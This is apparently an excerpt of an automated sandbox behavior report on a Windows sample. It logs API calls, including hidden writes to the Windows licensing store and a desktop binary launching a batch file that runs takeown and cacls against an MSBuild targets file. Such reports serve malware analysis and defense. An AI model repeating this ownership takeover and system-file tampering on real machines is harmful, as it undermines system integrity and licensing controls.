System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-4	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-4, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-5	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-5, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-6	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-6, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-7	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-7, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-8	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-8, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-9	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-9, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	1950	Fn
File	Get Info	filename = C:\WINDOWS\System32\spp\store\2.0\data.dat.bak, type = file_attributes	1	Fn
File	Get Info	filename = C:\WINDOWS\System32\spp\store\2.0\data.dat.tmp, type = file_attributes	1	Fn
System	Get Info	-	5	Fn
File	Get Info	filename = C:\WINDOWS\System32\spp\store\2.0\data.dat.bak, type = file_attributes	1	Fn
File	Get Info	filename = C:\WINDOWS\System32\spp\store\2.0\data.dat.tmp, type = file_attributes	1	Fn
System	Get Info	-	2	Fn
File	Create	filename = C:\WINDOWS\System32\spp\store\2.0\data.dat, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_WRITE_THROUGH, share_mode = FILE_SHARE_READ	1	Fn
System	Get Info	-	2	Fn
File	Get Info	filename = C:\WINDOWS\System32\spp\store\2.0\data.dat, type = size, size_out = 0	1	Fn
System	Get Info	-	5	Fn
File	Get Info	filename = C:\WINDOWS\System32\spp\store\2.0\data.dat.bak, type = file_attributes	1	Fn
File	Get Info	filename = C:\WINDOWS\System32\spp\store\2.0\data.dat.tmp, type = file_attributes	1	Fn
System	Get Info	-	1	Fn
File	Create	filename = C:\WINDOWS\System32\spp\store\2.0\data.dat, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_WRITE_THROUGH, share_mode = FILE_SHARE_READ	1	Fn
System	Get Info	-	1	Fn
File	Get Info	filename = C:\WINDOWS\System32\spp\store\2.0\data.dat, type = size, size_out = 0	1	Fn
System	Get Info	-	1	Fn
File	Read	filename = C:\WINDOWS\System32\spp\store\2.0\data.dat, size = 27552, size_out = 27552	1	Fn Data
System	Get Info	-	367	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000, flags = GET_MODULE_HANDLE_EX_FLAG_PIN	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, address_out = 0x7ff931fe5a50	1	Fn
System	Get Info	-	1	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000, flags = GET_MODULE_HANDLE_EX_FLAG_PIN	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQuerySystemInformation, address_out = 0x7ff931fe5a50	1	Fn
System	Get Info	-	1	Fn
System	Get Info	-	177	Fn
System	Get Time	type = Ticks, time = 317281	1	Fn
System	Get Info	-	553	Fn
System	Get Time	type = System Time, time = 2019-04-17 10:42:46 (UTC)	1	Fn
System	Get Info	-	1942	Fn
Module	Get Handle	module_name = c:\windows\system32\ntdll.dll, base_address = 0x7ff931f40000, flags = GET_MODULE_HANDLE_EX_FLAG_PIN	1	Fn
Module	Get Address	module_name = c:\windows\system32\ntdll.dll, function = NtQuerySystemInformation, address_out = 0x7ff931fe5a50	1	Fn
System	Get Info	-	1	Fn
System	Get Info	-	477	Fn

Process #108: wmiprvse.exe

0

»

Information	Value
ID	#108
File Name	c:\windows\system32\wbem\wmiprvse.exe
Command Line	C:\WINDOWS\system32\wbem\wmiprvse.exe -Embedding
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1288
Parent PID	0x2b4 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 12F0 0x 12DC 0x 12D8 0x 12D4 0x 12D0 0x 12CC 0x 12C8 0x 12C4 0x 12C0 0x 128C 0x 1060

Process #109: taskhostw.exe

0

»

Information	Value
ID	#109
File Name	c:\windows\system32\taskhostw.exe
Command Line	taskhostw.exe -RegisterDevice -SettingChange -Full
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:03:59, Reason: Self Terminated
Monitor Duration	00:01:34
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1328
Parent PID	0x3c0 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 13C8 0x 132C 0x 10F8 0x D94 0x 1118 0x 1310 0x 4C8

Process #110: dllhost.exe

0

»

Information	Value
ID	#110
File Name	c:\windows\system32\dllhost.exe
Command Line	C:\WINDOWS\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:02:26, Reason: Self Terminated
Monitor Duration	00:00:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1398
Parent PID	0x2b4 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 13C4 0x 13BC 0x 13B4 0x 13AC 0x 139C

Process #111: cmd.exe

300

0

»

Information	Value
ID	#111
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:38, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:01:47

OS Process Information

»

Information	Value
PID	0x10cc
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 10C8 0x F30

Threads

Thread 0x10c8

300

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 197, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 106	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0xf78, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 91	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0xef8, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 23	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "Workflow.Targets"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "Workflow.Targets"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 61	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Process	Create	process_name = cmd.exe	1	Fn

Process #112: dllhost.exe

0

»

Information	Value
ID	#112
File Name	c:\windows\system32\dllhost.exe
Command Line	C:\WINDOWS\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:42, Reason: Child Process
Unmonitor	End Time: 00:03:17, Reason: Self Terminated
Monitor Duration	00:00:35
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xa9c
Parent PID	0x2b4 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
